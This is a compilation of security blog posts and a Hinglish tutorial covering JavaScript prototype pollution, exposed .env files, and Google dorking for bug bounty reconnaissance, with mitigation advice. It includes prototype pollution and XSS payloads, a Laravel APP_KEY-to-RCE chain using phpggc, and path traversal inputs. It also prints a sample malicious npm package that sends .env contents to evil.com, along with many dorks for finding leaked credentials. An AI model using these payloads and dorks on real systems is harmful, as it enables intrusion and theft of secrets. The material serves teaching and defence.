Unlike SQL injection or XSS, Prototype Pollution often serves as a primer — it doesn’t immediately give you RCE unless you chain it with another gadget. But when chained correctly, the impact ranges from XSS (browser) to Remote Code Execution (Node.js).

2. The JavaScript Prototype Chain — Deep Dive

How Inheritance Works

// Every object has a hidden [[Prototype]]
const user = { name: "Alice" };

// user ---> Object.prototype ---> null
//         ^[[Prototype]]^

When you access user.toString(), JavaScript:

1. Looks for toString on user itself → not found
2. Looks on user.__proto__ (which is Object.prototype) → found!
3. Executes it.

The Vulnerability Mechanism

// Normal operation
const target = {};
const source = JSON.parse('{"name": "Alice"}');
Object.assign(target, source);
// target = { name: "Alice" } — safe

// Polluted operation
const source = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign(target, source);
// target.__proto__.isAdmin = true
// ALL objects now have isAdmin: true

Why __proto__ Works as a Key

JSON parsing does NOT treat __proto__ specially — it's just a string key. When Object.assign() copies properties, it sets target.__proto__ which mutates the actual prototype chain.

// Visual representation
const obj = {};
obj.__proto__.polluted = true;
// Equivalent to:
Object.prototype.polluted = true;

console.log({}.polluted);  // true
console.log([].polluted);  // true
console.log("".polluted);  // true (string prototype chain)

The Three Mutation Methods

3. Attack Vectors & Entry Points

Server-Side Entry Points (Node.js)

POST /api/users
Content-Type: application/json

{"name": "test", "__proto__": {"isAdmin": true}}

Where to look:

• JSON body parsing (Express body-parser, express.json())
• Query string parsing (qs library, Express built-in)
• Cookie parsing
• File upload metadata
• GraphQL variables
• WebSocket messages

Client-Side Entry Points (Browser)

<!-- URL fragment parsing -->
https://target.com/#__proto__[polluted]=true

<!-- PostMessage -->
window.postMessage({__proto__: {evil: true}}, '*')

<!-- localStorage / sessionStorage -->
localStorage.getItem('config') // parsed with JSON.parse

<!-- WebSocket -->
ws.send(JSON.stringify({__proto__: {innerHTML: '<img src=x onerror=alert(1)>'}}))

Common Vulnerable Patterns

Pattern 1: Object.assign / Spread Operator

app.post('/api/update', (req, res) => {
  const user = getUser(req.session.userId);
  Object.assign(user, req.body);  // VULNERABLE
  user.save();
});

Pattern 2: _.merge / $.extend

const config = _.merge(defaultConfig, userConfig); // VULNERABLE if userConfig comes from input

Pattern 3: Deep Clone

const cloned = JSON.parse(JSON.stringify(userInput)); 
// JSON.parse + JSON.stringify is SAFE — it strips __proto__
// BUT: if you then merge cloned into another object...

Pattern 4: URL Query Parsing

// Using qs library with allowPrototypes: false (default is true in older versions)
const parsed = qs.parse('a.__proto__.b=c'); 
// Older qs: parsed = { a: { __proto__: { b: 'c' } } }

4. Reconnaissance Methodology

Phase 1: Identify Dependencies

Modern web apps are built on frameworks. Find the soft targets.

# Client-side: Look for known vulnerable libraries
curl -s https://target.com/assets/app.js | grep -iEo \
  '(jquery|lodash|underscore|handlebars|vue|react|angular|backbone)[@-]?[0-9.]+'

# Server-side: Check for Node.js indicators
curl -sI https://target.com | grep -i 'x-powered-by\|server\|node'

Version lookup table:

Phase 2: Map All Input Points

Build a comprehensive list of every location where user data is parsed into objects.

# Spider the application
gospider -s https://target.com -o spider_output

# Extract endpoints from JavaScript
curl -s https://target.com/assets/app.js | \
  grep -oP 'POST|PUT|PATCH|GET.*(api|graphql|v1|v2|rest)' | \
  sort -u > endpoints.txt

Phase 3: Brute-Force Pollute Vectors

Target each endpoint with multiple payload variants.

// Payload matrix — try ALL of these
{"__proto__":{"polluted":"yes"}}
{"__proto__":["polluted","yes"]}
{"__proto__":{"__proto__":{"polluted":"yes"}}}
{"constructor":{"prototype":{"polluted":"yes"}}}
{"a":{"__proto__":{"polluted":"yes"}}}
{"[__proto__]":{"polluted":"yes"}}
{"__proto__.polluted":"yes"}  // For query string parsersj

Phase 4: Detection Verification

After sending the payload, verify if pollution took effect.

Server-side check:

# Send a probe payload that affects something observable
curl -s https://target.com/api/status | grep -i '"polluted":"yes"'
# Or check if you get 200 instead of 403 on admin endpoints

Client-side check (if you can execute JS):

// Open console on the target page after triggering the pollution
Object.prototype.polluted === "yes"
// Or
({}).polluted === "yes"

⚠️ Content Notice

Due to community guidelines and responsible disclosure practices, I was unable to include the complete live exploit chain, weaponized payloads, and full proof-of-concept demonstrations in this article.

The concepts, impacts, and mitigation strategies are covered here for educational and defensive security purposes. Readers interested in the full technical research, complete exploit analysis, and detailed proof-of-concept examples can refer to the corresponding GitHub repository linked with this article.

This content is intended solely for security research, awareness, and defensive testing in authorized environments.

Reed Full Blog: https://github.com/SecurityTalent/write-up

GitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent

#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming

JavaScript Prototype Pollution Deep Dive : — Reconnaissance, Exploitation & Bug Bounty Guideline was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

For bug bounty hunters, .env exposure remains one of the highest-impact, lowest-effort findings. The methodology is straightforward: subdomain enumeration, content discovery, GitHub dorking, and source map analysis. The payoff can be complete database access, cloud account takeover, or Remote Code Execution.

For developers and security teams, the solution requires a cultural shift: treat .env files as explosive devices, move secrets out of configuration files entirely, use short-lived credentials, block hidden files at the server level, and scan everything -- including AI-generated code -- before it reaches production.

Part I: The .env File Crisis — Why 12 Million Exposed Files Should Terrify You

The Anatomy of a .env File

The .env file is the silent backbone of modern web application configuration. It stores environment variables in a simple KEY=VALUE format and is consumed by frameworks like Laravel, Django, Ruby on Rails, Symfony, and countless Node.js applications at startup. The problem is not the concept -- it is how these files are handled, deployed, and (mis)protected.

A typical .env file might contain:

DB_HOST=production-db.internal.corp.com
DB_DATABASE=main_production
DB_USERNAME=root
DB_PASSWORD=Str0ng!Passw0rd
APP_KEY=base64:abcdef1234567890abcdef1234567890
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
STRIPE_SECRET=sk_live_4eC39HqLyjWDarjtT1zdp7dc
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=secret
MAIL_USERNAME=admin@corp.com
MAIL_PASSWORD=smtp_password_here

One file. One misconfiguration. Total compromise.

The 2024 Unit 42 Campaign: Scale of the Problem

In August 2024, Palo Alto Networks’ Unit 42 uncovered a massive cloud extortion campaign that directly exploited exposed .env files. The numbers are staggering:

• 110,000 domains scanned for exposed .env files
• 90,000+ unique leaked environment variables harvested
• 7,000+ cloud service credentials (AWS, Azure, GCP, DigitalOcean)
• 1,500+ social media account credentials
• 1,185 unique AWS access keys
• 333 PayPal OAuth tokens
• 235 GitHub tokens
• 111 HubSpot API keys
• 39 Slack webhooks

The attack chain was elegant and terrifying:

Scan — Automated internet-wide scanning using malicious AWS Lambda functions, iterating over millions of domains with curl requests to http://<target>/.env

Harvest — Extract all environment variables from accessible .env files

Escalate — Use exposed IAM access keys to create new IAM roles with administrative permissions

Propagate — Deploy new Lambda functions to continue scanning from within the victim’s own cloud infrastructure

Exfiltrate — Steal data from S3 buckets and other cloud storage

Extort — Leave ransom notes threatening to sell the data on the dark web

Source: Unit 42 — Large-Scale Cloud Extortion Operation

The 2026 Security Affairs Study: 12 Million Files

Fast forward to February 2026: Security Affairs reported that researchers had identified over 12 million exposed .env files across the internet. The primary exposure vectors:

1. Web server misconfiguration — No rule blocking hidden files (files starting with a dot). Simply visiting https://example.com/.env returns the entire file.
2. Reverse proxies forwarding sensitive paths — Nginx or Apache misconfigured to serve static files from the project root.
3. Container images embedding secrets — Dockerfiles using COPY . . which includes .env in the image layers.
4. Forgotten backup files — .env.bak, .env.old, .env.save, env.txt left in web-accessible directories.
5. Git repository exposure — The .env file committed to source control, then the repo made public or accessed via exposed .git directories.

Part II: Real-World Bug Hunting with .env Files

Case Study 1: Azure Subdomain .env Disclosure

Source: Infosec Writeups / Bug Bounty Program

A bug bounty hunter was conducting reconnaissance on a target and discovered a subdomain that appeared to be running Laravel. Using ffuf for content discovery, they ran a wordlist against the subdomain:

ffuf -u https://target-subdomain.azurewebsites.net/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

The scan returned a 200 OK for /.env -- but accessing it directly returned a 403 Forbidden. The hunter noticed something critical: the CNAME record pointed to *.azurewebsites.com, and while the main domain had restrictions, the underlying Azure-hosted subdomain did not.

By accessing the raw Azure endpoint URL, the .env file was fully readable, revealing:

DB_CONNECTION=mysql
DB_HOST=internal-db.mysql.database.azure.com
DB_PORT=3306
DB_DATABASE=production_db
DB_USERNAME=admin
DB_PASSWORD=P@ssw0rd!
MAIL_HOST=smtp.sendgrid.net
MAIL_USERNAME=apikey
MAIL_PASSWORD=SG.xxxxxxxxxxxxxxxx

Impact: Database credentials + SMTP API key for SendGrid. With these, the hunter could have dumped the entire production database and sent phishing emails as the legitimate domain.

Case Study 2: Laravel APP_KEY to RCE Chain

Source: Multiple researchers (Mogwai Labs, Ghostable, Stratosally)

This is one of the most dangerous exploitation chains in the Laravel ecosystem. The .env file contains APP_KEY, which is the cryptographic backbone of the entire Laravel application. It is used for encrypting cookies, session data, and serialized objects.

The vulnerability: Laravel’s Crypt::decrypt() function uses PHP's unserialize() under the hood. If an attacker has the APP_KEY, they can craft a malicious encrypted payload that, when decrypted, triggers PHP object injection leading to Remote Code Execution.

The exploitation chain:

1. Discover the APP_KEY — Find it in an exposed .env file, or via GitHub dorking (filename:.env APP_KEY).
2. Use phpggc — The PHP Generic Gadget Chains tool (phpggc) generates gadget chains for Laravel.

# Clone phpggc
git clone https://github.com/ambionics/phpggc
cd phpggc

# Generate a Laravel RCE gadget chain
php phpggc Laravel/RCE1 system 'id' --base64

3. Encrypt with the APP_KEY — The attacker encrypts the malicious payload using the stolen APP_KEY:

# Pseudocode for encrypting with the leaked APP_KEY
$payload = base64_decode('<phpggc_output>');
$key = base64_decode(substr('base64:abcdef1234567890abcdef1234567890', 7));
$iv = random_bytes(16);
$encrypted = openssl_encrypt($payload, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
$final = base64_encode($iv . $encrypted);

4. Deliver the payload — Send the encrypted value as a Laravel session cookie or any other decrypted input.

5. RCE — Laravel decrypts the payload, PHP unserializes it, and the attacker’s command executes.

Real-world impact: In 2025, researchers found hundreds of Laravel APP_KEY values leaked on GitHub. Tools like phpggc make weaponization trivial. The attacker does not need SQL injection or file upload -- just one exposed .env file.

Case Study 3: GitHub Dorking for .env Files at Scale

Source: Multiple bug bounty hunters

Advanced GitHub dorking is one of the most productive techniques for finding exposed .env files. The key operators:

# Find all .env files across all public repositories
filename:.env

# Find .env files in a specific organization
org:targetcompany filename:.env

# Find .env files containing specific sensitive keys
filename:.env "AWS_ACCESS_KEY_ID"
filename:.env "DB_PASSWORD"
filename:.env "STRIPE_SECRET"
filename:.env "APP_KEY"

# Find .env files mentioning a specific domain
"target.com" filename:.env

# Combined: target company .env with API keys
org:targetcompany filename:.env ("API_KEY" OR "SECRET" OR "PASSWORD")

# Search for config files broadly
filename:.env "production" AND ("sk_live" OR "AKIA" OR "service_role")

Pro tip from hunters: Combine with extension: and path: operators:

# Search specific paths
path:config filename:.env
path:laravel filename:.env

# Search for backup variants
filename:.env.bak
filename:.env.old
filename:.env.local
filename:.env.production

The Snyk 2025 State of Secrets Report revealed that 28 million credentials were leaked on GitHub in 2025 alone, with .env files being one of the top sources.

Case Study 4: Exposed Source Maps Leading to Stripe Secret Keys

Source: Sentry Security Blog / Prodefense.io

A bug bounty hunter discovered that a target website had accidentally deployed JavaScript source maps to production. Source maps (.map files) are used during development to map minified JavaScript back to original source code for debugging.

The attacker used Sourcemapper (a tool that reconstructs original source from .map files):

# Install sourcemapper
pip install sourcemapper

# Download and reconstruct source from an exposed source map
sourcemapper -url https://target.com/assets/js/app.js.map -output ./reconstructed/

Inside the reconstructed source code, the hunter found:

// Original source code exposed
const stripe = require('stripe');
const stripeClient = new stripe('sk_live_4eC39HqLyjWDarjtT1zdp7dc');

// Internal API endpoints
const adminApi = 'https://internal-admin.target.com/api/v2/';
const deleteUserEndpoint = `${adminApi}users/delete/`;

Impact: The Stripe live secret key (starting with sk_live_) allowed the attacker to make unauthorized charges, refunds, and access all customer payment data. The exposed admin API endpoints opened the door for further exploitation.

Case Study 5: Exposed .git Directory — Full Source Code in Version Control History

Source: PortSwigger Web Security Academy / NCSC Switzerland

A production server had its .git directory publicly accessible. The .git folder contains the complete version control history of the project, including every file that was ever committed -- even files that were later deleted or whose secrets were "removed" in subsequent commits.

# Recursively download the entire .git directory from the live server
wget -r https://target.com/.git/

# Check the Git log for secrets that were "removed"
git log -p | grep -E 'password|secret|key|token|AKIA'

The NCSC Switzerland audit found 1,300 affected systems in Switzerland alone where .git folders were publicly accessible, exposing source code, access data, and passwords.

Real bug bounty example: A hunter found that a target’s .git directory was browsable. Running git log --diff revealed a commit message: "Remove admin password from config". The diff showed the previous version of the config file with the hardcoded admin password still in Git history:

git show <commit_hash>
# Output:
# - ADMIN_PASSWORD=SuperSecretPass123!
# + ADMIN_PASSWORD=${ADMIN_PASSWORD_ENV}

The password was removed from the current file but remained forever in Git history. The hunter logged in as administrator and completely took over the application.

Part III: Advanced Reconnaissance & Hunting Methodology

Phase 1: Subdomain Enumeration

Before you can find exposed files, you need to know where to look.

# Passive enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass.txt
assetfinder --subs-only target.com >> subdomains.txt

# Active enumeration
ffuf -u https://FUZZ.target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Certificate Transparency
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Combine and deduplicate
cat subdomains.txt | sort -u | httpx -silent -o live_hosts.txt

Phase 2: Content Discovery for .env Files

# Using ffuf for .env file discovery
ffuf -u https://target.com/FUZZ \
  -w wordlist.txt \
  -fc 403,404 \
  -t 100

# .env-specific wordlist
echo ".env
.env.bak
.env.old
.env.save
.env.local
.env.production
.env.development
env.txt
env
.env.example" > env_wordlist.txt

# Recursive discovery with feroxbuster
feroxbuster -u https://target.com \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt \
  -x env,txt,bak,old,swp,save,conf,config \
  --depth 3 \
  --silent

Phase 3: Advanced GitHub Dorking

# Automated GitHub dorking with gitdorker
gitdorker -q target.com -tf ./tf/ -d ./Dorks/Alldorks.ndjson -o output

# Manual targeted dorks
site:github.com target.com filename:.env
site:github.com target.com "DB_PASSWORD"
site:github.com target.com "sk_live_" "Stripe"
site:github.com target.com "AKIA" "AWS"
site:github.com "target" filename:".env" "APP_KEY"

Phase 4: Source Map Enumeration

# Check for source maps on live targets
cat live_hosts.txt | while read url; do
  # Try common source map locations
  curl -s -o /dev/null -w "%{http_code}" "$url/assets/js/app.js.map"
  curl -s -o /dev/null -w "%{http_code}" "$url/static/js/main.js.map"
  curl -s -o /dev/null -w "%{http_code}" "$url/build/static/js/main.js.map"
done

# Reconstruct and grep for secrets
sourcemapper -url https://target.com/js/app.js.map -output ./recon/
grep -rni "sk_live\|AKIA\|password\|secret\|token" ./recon/

Phase 5: Directory Traversal Testing

Sometimes .env files are not at the root but accessible through path traversal:

# Path traversal payloads
ffuf -u https://target.com/page.php?file=FUZZ \
  -w traversal_wordlist.txt

# Common traversal wordlist entries
../../../.env
..%252f..%252f..%252f.env
....//....//....//.env
..\;../..\;../.env
/static/../../../.env

Part IV: The Expanded Attack Surface Beyond .env

Source Maps

Source maps (.map files) are JavaScript's hidden tell-all. They reconstruct minified code back to the original source, complete with comments, function names, and file structure.

What source maps can reveal:

• Original source code and business logic
• Developer comments (TODOs, FIXMEs, known bugs)
• Internal API endpoints and admin panels
• Hardcoded credentials
• Third-party integration details
• Environment variable expectations

# Check for common source map locations
curl -si https://target.com/static/js/main.abc123.js.map
curl -si https://target.com/assets/js/app.js.map
curl -si https://target.com/build/js/bundle.js.map

# Parse source maps for secrets (Node.js)
npm install -g source-map-cli
curl -s https://target.com/js/app.js.map | source-map --raw | grep -E 'key|token|secret|password'

Exposed .git Directories

The .git directory is perhaps the most dangerous exposure because it contains the entire history of the project.

Tools for .git exploitation:

# git-dumper - downloads entire .git repo
git-dumper https://target.com/.git/ ./downloaded_repo/

# GitTools - extract from exposed .git
git clone https://github.com/internetwache/GitTools
cd GitTools/Dumper
./gitdumper.sh https://target.com/.git/ ./repo/
cd GitTools/Extractor
./extractor.sh ./repo/ ./extracted/

# Search entire Git history for secrets
cd extracted
git log --all -p | grep -E '(password|secret|key|token|AKIA|sk_live)'
git log --all --diff-filter=D --summary | grep delete  # Find deleted files

Backup Files

Developers frequently create backup files during maintenance:

# Common backup file extensions
.bak, .old, .orig, .copy, .tmp, .swp, .swo, .save, ~ (tilde)

# Fuzzing for backup files
ffuf -u https://target.com/FUZZ \
  -w backup_wordlist.txt

# Example wordlist entries
config.php.bak
.env.bak
database.php.old
wp-config.php~
index.php.swp
.env.save

Configuration Files

Beyond .env, other config files often contain secrets:

# Common config files to hunt
config.json
config.php
config.js
settings.py
application.properties
application.yml
database.yml
credentials.json
service-account.json
wp-config.php

Part V: The Supply Chain Angle — Malicious Dependencies

Malicious packages actively hunt for .env files during installation. Since npm install (and pip install, gem install, etc.) can execute arbitrary code, a compromised dependency can:

// Malicious package.js (hypothetical but based on real incidents)
const fs = require('fs');
const https = require('https');

// Read .env file
const envContent = fs.readFileSync('.env', 'utf8');

// Exfiltrate to attacker server
https.get(`https://evil.com/exfil?data=${Buffer.from(envContent).toString('base64')}`);

Real incidents:

• Shai-Hulud NPM worm — Designed to hunt and exfiltrate NPM and GitHub tokens at scale
• @ctrl/tinycolor compromise (2.2M weekly downloads) — Attackers weaponized TruffleHog itself as a payload to find and exfiltrate secrets
• node-ipc supply chain attack — Malicious versions published to target specific developers
• Cursor AI editor incident (2024) — .env file contents were being sent to servers for tab completion, even when files were listed in .cursorignore

Part VI: Defense in Depth — How to Protect Against .env Exposure

Immediate Remediation

1. Block hidden files at the server level

# Apache
<FilesMatch "^\.">
    Require all denied
</FilesMatch>

# Nginx
location ~ /\.(?!well-known) {
    deny all;
    return 404;
}

// IIS
<system.webServer>
    <security>
        <requestFiltering>
            <hiddenSegments>
                <add segment=".env" />
            </hiddenSegments>
        </requestFiltering>
    </security>
</system.webServer>

2. Remove .env from web-accessible directories -- Move it outside the document root.

3. Implement CSP headers to restrict where scripts can load from.

4. Disable source maps in production builds:

// webpack.config.js
module.exports = {
  // ...
  devtool: process.env.NODE_ENV === 'production' ? false : 'source-map',
};

// vite.config.js
export default defineConfig({
  build: {
    sourcemap: process.env.NODE_ENV !== 'production',
  },
});

// next.config.js
module.exports = {
  productionBrowserSourceMaps: false,
};

Prevention

1. Use a secrets manager — HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager
2. Implement .gitignore correctly and audit with git-secrets or trufflehog
3. Use pre-commit hooks to scan for secrets:

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/awslabs/git-secrets
    rev: master
    hooks:
      - id: git-secrets

4. Rotate secrets regularly — If a .env file might have been exposed, rotate every credential in it immediately.

5. Scanner automation — Integrate secret scanning into CI/CD pipelines:

# TruffleHog scan in CI
trufflehog filesystem --directory=. --json | jq '.'

6. Use ephemeral credentials — Short-lived tokens (IAM roles, OAuth2 token exchange) instead of long-lived API keys.

Detection

1. Monitor for /.env requests in access logs
2. Use automated scanners like shhgit, trufflehog, git-secrets
3. Deploy canary tokens — Fake credentials placed in .env files that alert when used

Part VII: The 2026 Vibe Coding Problem

The rise of AI-assisted development — “vibe coding” — has introduced a new dimension to the .env crisis. Research from 2026 shows that AI-generated code frequently makes mistakes that expose secrets:

• Hallucinated dependencies — AI tools generate package.json files with packages that do not exist in the registry, creating opportunities for typosquatting attacks
• Hardcoded credentials — AI models trained on public code learn the pattern of hardcoding secrets and reproduce it
• Source maps left enabled — Default build configurations generated by AI often leave source maps enabled for production
• Missing server blocks — AI-generated deployment configs rarely include rules to block hidden files

The fix: Treat AI-generated code as untrusted input. Audit every file for secrets before deployment. Use automated scanners in CI/CD.

References

• Unit 42 — Large-Scale Cloud Extortion Operation via Exposed .env Files
• Security Affairs — 12 Million Exposed .env Files
• Snyk 2025 State of Secrets — 28M Credentials Leaked on GitHub
• Sentry Security Blog — Abusing Exposed Sourcemaps
• Mogwai Labs — Exploiting Laravel with Leaked APP_KEYs
• OWASP — Review Web Page Content for Information Leakage
• GitHub Dorking — techgaun/github-dorks
• Invicti — Dotenv .env File Vulnerability
• Vibe Eval 2026 — Frontend Secrets Leak Report

GitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent

#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming

Frontend Security & Bug Hunting: The .env File Crisis and Real-World Exploitation was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Read more →

The post Laravel CRLF Injection Vulnerability Enables an Attacker to Interfere with Outbound Email Processing appeared first on IT Security News.

The post Laravel CRLF Injection Vulnerability Enables an Attacker to Interfere with Outbound Email Processing appeared first on Cyber Security News.

The post Laravel CRLF Injection Flaw Enables Email Processing Interference appeared first on Cyber Security News.

Read more →

The post Laravel CRLF Injection Flaw Could Disrupt Outbound Email Handling appeared first on IT Security News.

The post Laravel CRLF Injection Flaw Could Disrupt Outbound Email Handling appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

The post North Korean Chollima Group Abuses Packagist Package to Infect PHP Developers appeared first on Cyber Security News.

Series: Bug Bounty Zero se Hero 🦸 | Article #11
By HackerMD | 17 min read

Aaj Kya Seekhenge?

• Google Dorks kya hai bilkul basics se
• Kaise kaam karta hai Google index ki power
• Sabhi operators ek ek deeply
• Bug bounty ke liye best dorks
• Sensitive files, admin panels, exposed configs
• GHDB Google Hacking Database
• Elite automated dorking workflow

Kyun zaroori hai? Shodan aur Censys ke liye API key chahiye Google Dorks bilkul FREE hai! Aur Google itna powerful crawler hai ki usne woh cheezein index kar rakhi hain jo companies kabhi public nahi karna chahti thin! Exposed config files, database backups, passwords sab Google pe mil jaata hai!

Google Dorks Kya Hai? Simple Analogy

Normal Google search:

"best restaurants in Mumbai"
→ Restaurant websites milti hain

Google Dork:

site:company.com filetype:sql
→ Company ka database backup publicly accessible! 😱

site:company.com inurl:admin intitle:"Login"
→ Admin panel Google mein indexed! 🎯

site:company.com ext:env "DB_PASSWORD"
→ .env file mein password exposed! 🔴

Dork = Specially crafted Google search query jo sensitive information expose karta hai!

Yeh Kaise Possible Hai?

Samjho ek story se:

Ek developer ne config.php file accidentally public folder mein upload kar di usme database password tha।

Developer ko pata bhi nahi chala।

Google ka crawler aaya → File index ho gayi → 3 din baad Google pe searchable!

Tum dork lagate ho:

site:company.com filetype:php "db_password"

Result: Database password seedha Google search mein! 🔴

Yahi Google Dorks ka power hai Google ne pehle se kar rakha hai kaam!

PART 1: Core Operators Sab Samjho

Operator 1: site: Domain Pe Focus Karo

site:example.com
→ Sirf example.com ke pages

site:example.com login
→ example.com pe login pages

site:*.example.com
→ Sabhi subdomains ke pages

# Bug bounty use:
site:target.com
# Pehle dekho kitne pages indexed hain
# Interesting patterns dhundho

Operator 2: inurl: URL Mein Kya Hai?

inurl:admin
→ URL mein "admin" wale pages

inurl:login site:target.com
→ target.com ke login pages

inurl:dashboard site:target.com
→ Dashboards!

inurl:api/v1 site:target.com
→ API endpoints!

inurl:.php?id= site:target.com
→ Possible SQL injection points! 🎯

Operator 3: intitle: Page Title Mein Kya Hai?

intitle:"Admin Panel" site:target.com
intitle:"phpMyAdmin" site:target.com
intitle:"Dashboard" site:target.com
intitle:"Index of" site:target.com
→ Directory listing exposed! 🎯

intitle:"Grafana" site:target.com
intitle:"Jenkins" site:target.com

Operator 4: filetype: / ext: File Type Filter

filetype:pdf site:target.com
→ PDF documents — internal docs?

filetype:sql site:target.com
→ Database backup files! 🔴

filetype:log site:target.com
→ Log files — usernames, errors!

ext:env site:target.com
→ .env files — passwords! 🔴

ext:xml site:target.com
→ XML config files

ext:bak site:target.com
→ Backup files! 🎯

ext:conf site:target.com
→ Config files!

ext:txt site:target.com
→ Text files — sometimes sensitive

ext:json site:target.com "api_key"
→ JSON mein API keys! 🔴

Operator 5: intext: Page Content Mein Dhundho

intext:"password" filetype:log site:target.com
→ Log file mein password!

intext:"api_key" site:target.com
→ Page mein API key exposed!

intext:"DB_PASSWORD" site:target.com
→ Database password in page content!

intext:"BEGIN RSA PRIVATE KEY" site:target.com
→ Private key exposed! 🔴 Critical!

Operator 6: allinurl: aur allintitle:

allinurl:admin login panel
→ URL mein teeno words honge

allintitle:admin login dashboard site:target.com
→ Title mein teeno words

Operator 7: -Exclude Karo

site:target.com -www
→ www chhod ke baaki subdomains

site:target.com filetype:php -inurl:index
→ Index.php chhod ke baaki PHP files

Operator 8: "Exact Match

"Index of /backup" site:target.com
→ Exact string match — backup directory!

"ORA-01756" site:target.com
→ Oracle SQL error — SQL injection clue!

"Warning: mysql_fetch" site:target.com
→ MySQL error — database info leak!

Operator 9: OR Multiple Options

site:target.com (ext:env OR ext:cfg OR ext:conf)
→ Koi bhi config file!

(inurl:admin OR inurl:administrator OR inurl:panel) site:target.com

Operator 10: * Wildcard

site:*.target.com
→ Sabhi subdomains!

"api_key = *" site:target.com
→ API key pattern dhundho

PART 2: Bug Bounty Ke Liye Best Dorks Category Wise

Category 1: Exposed Sensitive Files

# Environment files — GOLDMINE!
site:target.com ext:env
site:target.com "DB_PASSWORD"
site:target.com "APP_SECRET"
site:target.com ".env" "DB_HOST"

# Config files
site:target.com ext:conf "password"
site:target.com ext:cfg "password"
site:target.com filetype:xml "password"
site:target.com ext:ini "password"

# Database files
site:target.com ext:sql
site:target.com ext:sql.gz
site:target.com ext:db
site:target.com ext:sqlite
site:target.com "mysqldump" filetype:sql

# Backup files
site:target.com ext:bak
site:target.com ext:backup
site:target.com "backup" filetype:zip
site:target.com ext:old

Category 2: Admin Panels + Login Pages

site:target.com intitle:"Admin"
site:target.com inurl:admin/login
site:target.com inurl:administrator
site:target.com inurl:wp-admin
site:target.com inurl:cpanel
site:target.com inurl:webadmin
site:target.com intitle:"Control Panel"
site:target.com inurl:manage
site:target.com inurl:moderator
site:target.com intitle:"Dashboard" inurl:admin

Category 3: Exposed Development Environments

site:target.com inurl:dev
site:target.com inurl:staging
site:target.com inurl:test
site:target.com intitle:"Development"
site:target.com "debug=true"
site:target.com "APP_DEBUG=true"
site:target.com inurl:localhost
site:target.com "TODO" filetype:php
site:target.com "FIXME" filetype:php

Category 4: API Keys + Credentials

site:target.com "api_key"
site:target.com "apikey"
site:target.com "api_secret"
site:target.com "client_secret"
site:target.com "access_token"
site:target.com "Authorization: Bearer"
site:target.com "AWS_SECRET_ACCESS_KEY"
site:target.com "GITHUB_TOKEN"
site:target.com "private_key"
site:target.com "BEGIN RSA PRIVATE KEY"

Category 5: Directory Listing Exposed!

intitle:"Index of" site:target.com
intitle:"Index of /" site:target.com
intitle:"Directory Listing" site:target.com
intitle:"Index of /backup" site:target.com
intitle:"Index of /uploads" site:target.com
intitle:"Index of /admin" site:target.com
intitle:"Index of /logs" site:target.com

🎯 Directory Listing = Files seedha download! Backup files, logs, user uploads sab accessible!

Category 6: Error Messages Information Disclosure

site:target.com "SQL syntax"
site:target.com "ORA-01756"
site:target.com "Warning: mysql"
site:target.com "Fatal error" filetype:php
site:target.com "Uncaught exception"
site:target.com "Stack trace"
site:target.com "at Object.<anonymous>"
site:target.com "server error" "500"

💡 Errors = Information Leak! Database type, file paths, version numbers sab error messages mein hota hai!

Category 7: Specific Technologies

# WordPress
site:target.com inurl:wp-content
site:target.com inurl:wp-login
site:target.com "wp-config.php"

# Laravel
site:target.com "APP_KEY" ext:env

# phpMyAdmin
site:target.com intitle:"phpMyAdmin"

# Jenkins
site:target.com intitle:"Jenkins" inurl:jenkins

# Jira
site:target.com intitle:"Jira" inurl:jira

# Swagger API Docs
site:target.com inurl:swagger
site:target.com intitle:"Swagger UI"
site:target.com inurl:api-docs

# Kibana
site:target.com intitle:"Kibana" port:5601

Category 8: Login Bypasses

site:target.com inurl:"redirect="
site:target.com inurl:"next="
site:target.com inurl:"url="
site:target.com inurl:"returnUrl="
→ Yeh sab Open Redirect candidates! 🎯

site:target.com inurl:"?debug=1"
site:target.com inurl:"?test=1"
→ Debug mode parameters!

PART 3: GHDB Google Hacking Database

GHDB = Google Hacking Database hackers ka community-maintained dorks collection!

URL: https://www.exploit-db.com/google-hacking-database

Yahan milega:
→ 10,000+ ready-made dorks
→ Category wise sorted
→ Regular updates
→ Severity level bhi batata hai

Categories:
├── Footholds
├── Files containing passwords
├── Sensitive directories
├── Web server detection
├── Vulnerable files
├── Vulnerable servers
├── Error messages
├── Files containing usernames
└── Sensitive online shopping info

Use kaise karo:

1. exploit-db.com/google-hacking-database kholo
2. Category choose karo
